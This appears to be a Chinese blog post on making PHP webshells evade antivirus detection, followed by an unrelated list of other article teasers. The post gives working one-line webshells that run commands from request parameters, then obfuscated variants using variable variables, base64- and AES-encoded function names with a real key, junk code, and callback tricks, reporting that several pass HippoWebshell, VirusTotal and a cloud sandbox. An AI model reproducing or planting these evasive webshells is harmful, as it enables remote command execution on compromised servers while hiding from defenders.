PHP webshell 免杀方法

本文介绍php类webshell简单的免杀方法,总结不一定全面,仅供读者参考。

webshell通常可分为一句话木马,小马,大马,内存马。

一句话木马是最简单也是最常见的webshell形式,这种木马体积小,隐蔽较强,免杀相对容易;

小马是功能较为简单的Webshell,但比一句话木马稍复杂,可能会包含一个简单的文件管理界面或命令执行功能;

大马是功能全面的webshell,通常带有图形用户界面,提供文件管理、数据库操作、命令执行等多种功能,比如常用的蚁剑,冰蝎,哥斯拉等,大马由于功能复杂,在做免杀时一般需要将大马伪装成合法管理工具,分解成多个独立模块,分别加载,降低单点检测风险;

内存马是一种驻留在内存中的恶意代码,通常通过修改服务器进程的内存空间来执行,极难被发现和删除。与一般的webshell木马不同,内存马免杀一般需要采用内存隐藏,动态注入等方式,尽可能的隐藏恶意代码在内存中的存在,降低被持久发现的风险。

下面以一句话木马为例,通过几种一般的免杀方式对其进行免杀处理。

一句话木马

下面是常见的命令执行一句话木马:

<?php system($_POST['xxx']); ?>
<?php eval($_POST['xxx']); ?>
<?php echo shell_exec($_POST['xxx']); ?>
<?php assert($_POST['xxx']); ?>

在做免杀的时候,不仅需要避免木马被杀毒软件和安全工具检测到,同时还需要保证木马功能正常运行。

在 windows10/11 虚拟机上利用 phpstudy 搭建一个本地网站,本实验木马放在网站下的 free-kill 目录中。编写好原始的一句话木马命名为 test0.php 

<?php echo shell_exec($_GET['xxx']); ?>

执行 echo hack 命令验证功能:

 使用河马webshell查杀(SHELLPUB.COM在线查杀),可以轻易检测出来:

 可变变量绕过

一些安全检测机制会直接扫描代码中是否包含敏感函数调用,对此可以把敏感的函数名隐藏在可变变量中。下面通过把 shell_exec 隐藏到可变变量中实现:

<?php 
$v="x";
$$v="shell_exec"; #相当于是 $x="shell_exec";
echo $x($_GET['xxx']); 
?>

 河马查杀能检测出来:

 单纯的可变变量特性一般过不了杀软,该方法通常需要和其他绕过方法配合使用。

各种加密绕过

将特征函数先用某种加密方式加密,再解密。

比如简单的base64加密

在木马中把密文解密后调用:

<?php 
$v=base64_decode("c2hlbGxfZXhlYw==");
echo $v($_GET['xxx']); 
?>

功能验证

 简单的加密过不了杀软,还是能被检测出来:

但是,可以考虑和代码混淆一起使用。在代码中加入与主要功能无关的代码,可以干扰分析工具和反病毒软件的检测,提高隐蔽性。

在此基础上,增加safe_waf和Safe两个无用函数并调用:

<?php 
function safe_waf(){
    $data1 = "1qazxsw23edcvfr45tgb";
    $data2 = "1qazXSW@3edcVFR$6yhn";
    $data3 = "!QAZxsw2#EDCvfr4%TGB";
    for ($i = 0; $i < 10; $i++) {
        $data1[$i % strlen($data1)];
    }
    $a = 5;
    $b = 10;
    $c = $a + $b;
    $a_safe = array();
    for ($j = 0; $j < 10; $j++) {
        $a_safe[] = md5($j.$data2);
    }
    return $c;
}

function Safe(){
    $t = "1qazxsw23edcvfr45tgb";
    $result = strrev($t);
    return $result;
}

function DD($Data) {
    return base64_decode($Data);
}
safe_waf();
echo DD("c2hlbGxfZXhlYw==")($_GET['xxx']);
Safe();
?>

 修改后可以过通过河马

VT分析平台(VirusTotal)也能通过所有杀软:

然而可以被云沙箱检测出来(安恒云沙箱):

 此外,加密函数可以考虑采用更复杂的加密,比如AES加密。

首先写一个加密代码,在本地生成一个key和密文:

<?php

function generateKey($length = 32) {
    return openssl_random_pseudo_bytes($length);
}
function encrypt($data, $key) {
    $iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length('aes-256-cbc'));
    $ciphertext = openssl_encrypt($data, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
    return base64_encode($iv . $ciphertext);
}

$key = generateKey();
$original_data = "shell_exec";
$encrypted_data = encrypt($original_data, $key);
echo "key = " . bin2hex($key) . "\n";
echo "Encrypted Data: " . $encrypted_data . "\n";
?>
key = 88c266a678f21d1713e14b032e16475897290d86a692f818bbd89234d7757ec4
Encrypted Data: xlri1KQnFm7Z7osHErvWBZn9tFtE5uSX9gZ1yNSef2s=

然后在木马中传入密文和key,并写一个解码函数:

<?php
function DD($Data, $k) {
    $data = base64_decode($Data);
    $len = openssl_cipher_iv_length('aes-256-cbc');
    $iv = substr($data, 0, $len);
    $c = substr($data, $len);
    return openssl_decrypt($c, 'aes-256-cbc', hex2bin($k), OPENSSL_RAW_DATA, $iv);
}

echo DD("xlri1KQnFm7Z7osHErvWBZn9tFtE5uSX9gZ1yNSef2s=","88c266a678f21d1713e14b032e16475897290d86a692f818bbd89234d7757ec4")($_GET['xxx']); 
?>

样例 test3.php 功能验证:

该样例可以逃过安恒的沙箱查杀:

试一试河马和VT,也可以通过: 

 

传参绕过

可以把传入的函数名写在请求中获取,通过将函数名动态地从外部传递。

<?php
$v=$_GET['func'];
$v($_GET['xxx']);
?>

此时可以把func传参为system,把xxx作为命令。

该方法可以与回调函数结合:

<?php
$f=$_GET['func'];
$v=$_GET['xxx'];
call_user_func($f,$v);
?>

结合前面的加密绕过思路,加密call_user_func函数:

 

<?php
function DD($Data) {
    return base64_decode($Data);
}
$f=$_GET['func'];
$v=$_GET['xxx'];
DD("Y2FsbF91c2VyX2Z1bmM=")($f,$v);
?>

该例子仍能被河马查杀:

 读者可以采用更复杂的加密函数尝试。

传参混淆

使用php中的分隔函数,用某个符号把传入的参数做一个分隔,再结合回调函数调用执行。

<?php
function DD($Data) {
    return base64_decode($Data);
}
$a = explode("!",$_GET['s']);
DD("Y2FsbF91c2VyX2Z1bmM=")($a[0],$a[1]);
?>

这里,攻击者可以传入 s=system!echo hack 达到目的。

 

 该方法可以避开河马查杀:

 VT上通过所有杀软:

沙箱检测也顺利绕过:

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/801476.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

图解超详细!!!!!!算法刷题之路之链表初探(五)反转链表

算法刷题之路之链表初探&#xff08;五&#xff09; 今天来学习的算法题是leecode206反转链表&#xff0c;是一道简单的入门题&#xff0c;话不多说&#xff01;直接上&#xff01; 条件 图解&#xff08;先看图结合后面的思路一起看&#xff09; 项目解释 有题目可以知道&…

记录些MySQL题集(3)

MySQL 分区技术深入解析 分区的基本概念 MySQL分区 是一种数据库优化的技术&#xff0c;它允许将一个大的表、索引或其子集分割成多个较小的、更易于管理的片段&#xff0c;这些片段称为“分区”。每个分区都可以独立于其他分区进行存储、备份、索引和其他操作。这种技术主要…

STM32智能楼宇照明系统教程

目录 引言环境准备智能楼宇照明系统基础代码实现&#xff1a;实现智能楼宇照明系统 4.1 数据采集模块 4.2 数据处理与控制模块 4.3 通信与网络系统实现 4.4 用户界面与数据可视化应用场景&#xff1a;楼宇照明管理与优化问题解决方案与优化收尾与总结 1. 引言 智能楼宇照明系…

OSI 七层模型与五层模型

OSI&#xff08;开放系统互连&#xff09;七层模型和五层模型是描述计算机网络协议的两种不同层次划分方法。两者用于帮助理解和设计网络协议&#xff0c;但它们在层次划分上有所不同。

java.sql.SQLException: Unknown system variable ‘query_cache_size‘【Pyspark】

1、问题描述 学习SparkSql中&#xff0c;将spark中dataframe数据结构保存为jdbc的格式并提交到本地的mysql中&#xff0c;相关代码见文章末尾。 运行代码时报出相关配置文件错误&#xff0c;如下。 根据该报错&#xff0c;发现网络上多数解决方都是基于java开发的解决方案&a…

创建鸿蒙手机模拟器(HarmonyOS Emulator)

文 | Promise Sun 一.前提条件&#xff1a; 鸿蒙项目开发需要使用模拟器进行开发测试&#xff0c;但目前想在DevEco Studio开发工具中使用模拟器就必须到华为官网进行报名申请&#xff0c;参加“鸿蒙模拟器&#xff08;HarmonyOS Emulator&#xff09;Beta活动申请”。 申请审…

Macbook pro插移动硬盘没反应,Macbook pro移动硬盘读不了怎么办 macbook插移动硬盘后无法使用

为了弥补Macbook pro硬盘容量的缺失&#xff0c;我们有时候会使用到外接硬盘或移动硬盘。一般来说&#xff0c;这些硬盘都是即插即用的&#xff0c;可能部分要安装插件。不过&#xff0c;在一些特殊情况下&#xff0c;也会遇到插硬盘没反应等问题。本文会给大家解答Macbook pro…

STM32第二十一课:FreeRTOS事件组软件定时器

目录 一、事件组1.事件组创建2.事件组置位3.事件组等待 二、软件定时器1.软件定时器创建2.软件定时器执行3.例程代码 一、事件组 本质上是任务同步&#xff0c;但比二值信号量优秀的是可以一对多。 我的理解&#xff1a;事件组就是标志位的集合&#xff0c;将多个标志位放到一个…

Raw Socket(二)循环队列收发数据

完整代码在&#xff1a; 添加链接描述 其中tcp_handshake文件夹是实现TCP三次握手的demo。 完整代码参考&#xff1a; https://github.com/praveenkmurthy/Raw-Sockets 代码实现基于raw socket的TCP协议&#xff0c;发送http请求包并接收回包&#xff0c;…

【自学安全防御】二、防火墙NAT智能选路综合实验

任务要求&#xff1a; &#xff08;衔接上一个实验所以从第七点开始&#xff0c;但与上一个实验关系不大&#xff09; 7&#xff0c;办公区设备可以通过电信链路和移动链路上网(多对多的NAT&#xff0c;并且需要保留一个公网IP不能用来转换) 8&#xff0c;分公司设备可以通过总…

mitmproxy介绍及使用

mitmproxy介绍 mitmproxy又名中间人攻击代理&#xff0c;是一个抓包工具&#xff0c;类似于WireShark、Filddler&#xff0c;并且它支持抓取HTTP和HTTPS协议的数据包&#xff0c;只不过它是一个控制台的形式操作。另外&#xff0c;它还有两个非常有用的组件&#xff0c;一个mi…

openlayers WebGLPoints图层应用(光环、光晕扩散收缩)

本篇介绍一下使用 openlayers WebGLPoints图层应用&#xff08;光环、光晕扩散收缩&#xff09; 1 需求 WebGL渲染的光环、光晕扩散收缩 2 分析 WebGLPoints图层应用ol/expr/expression 的简单使用官网解释 WebGLPoints 的 style 属性比较多&#xff08;基本都是图标、填充…

CSS选择器(1)

以内部样式表编写CSS选择器&#xff0c;其主要编写在<head></head>元素里&#xff0c;通过<style></style>标签来定义内部样式表。 基本语法为&#xff1a; 选择器{ 声明块 } 声明块&#xff1a;是由一对大括号括起来&#xff0c;声明块中是一个一个的…

03MFC画笔/画刷/画椭圆/圆/(延时)文字

文章目录 画实心矩形自定义画布设计及使用连续画线及自定义定义变量扇形画椭圆/圆输出颜色文本定时器与定时事件画实心矩形 自定义画布设计及使用 连续画线及自定义定义变量 扇形 画椭圆/圆 输出颜色文本

杰发科技AC7801 —— __attribute__指定地址存储常量

const uint8_t usFlashInitVal[] __attribute__((at(0x08002800))) {0x55,0x55,0x55,0x55,0x55};//定位在flash中&#xff0c;0x00030000开始的6个字节信息固定 注意7801的地址在8000000之后 如地址选0x00000800烧录时候报错 不知道是不是atclinktool的bug&#xff0c;使用_…

缓存穿透,缓存雪崩,使用互斥锁解决缓存击穿

20240716学习redis 一、缓存穿透1. isNotBlank()方法和isNotEmpty()方法的区别2. 缓存穿透3. 缓存雪崩4. 缓存击穿的解决5 ctrlaltT&#xff0c;可以快速生成包围方式&#xff1a;6 //模拟重建延时7. 代码 &#xff08;使用互斥锁&#xff09; 一、缓存穿透 1. isNotBlank()方…

Linux系统编程-线程同步详解

线程同步是指多个线程协调工作&#xff0c;以便在共享资源的访问和操作过程中保持数据一致性和正确性。在多线程环境中&#xff0c;线程是并发执行的&#xff0c;因此如果多个线程同时访问和修改共享资源&#xff0c;可能会导致数据不一致、竞态条件&#xff08;race condition…

15 - matlab m_map地学绘图工具基础函数 - 一些数据转换函数(二)

15 - matlab m_map地学绘图工具基础函数 - 一些数据转换函数&#xff08;二&#xff09; 0. 引言1. 关于m_geodesic2. 关于mygrid_sand23. 结语 0. 引言 通过前面篇节已经将m_map绘图工具中大多绘图有关的函数进行过介绍&#xff0c;已经能够满足基本的绘图需求&#xff0c;本节…

我想做信号通路分析,但我就是不想学编程

“我想做信号通路分析&#xff0c;但我就是不想学编程。” “我又不是生信狗&#xff0c;学代码会死。” “你们这些做生信的&#xff0c;整天把数据分析搞得神神秘秘&#xff0c;不就是怕被人抢饭碗而已嘛。” “这都没分析出我想要的结果&#xff0c;不靠谱。” “你们做…

Go语言中GC(垃圾回收回收机制)三色标记与混合写屏障

5、Golang三色标记混合写屏障GC模式全分析 (yuque.com) 第1讲-课程目标_哔哩哔哩_bilibili Golang三色标记GC混合写屏障 Go V1.3之前的标记清除&#xff08;mark and sweep) 垃圾回收、内存管理、自动适放、三色标记法、STW (stop the world) 图的遍历&#xff1f;可达性分…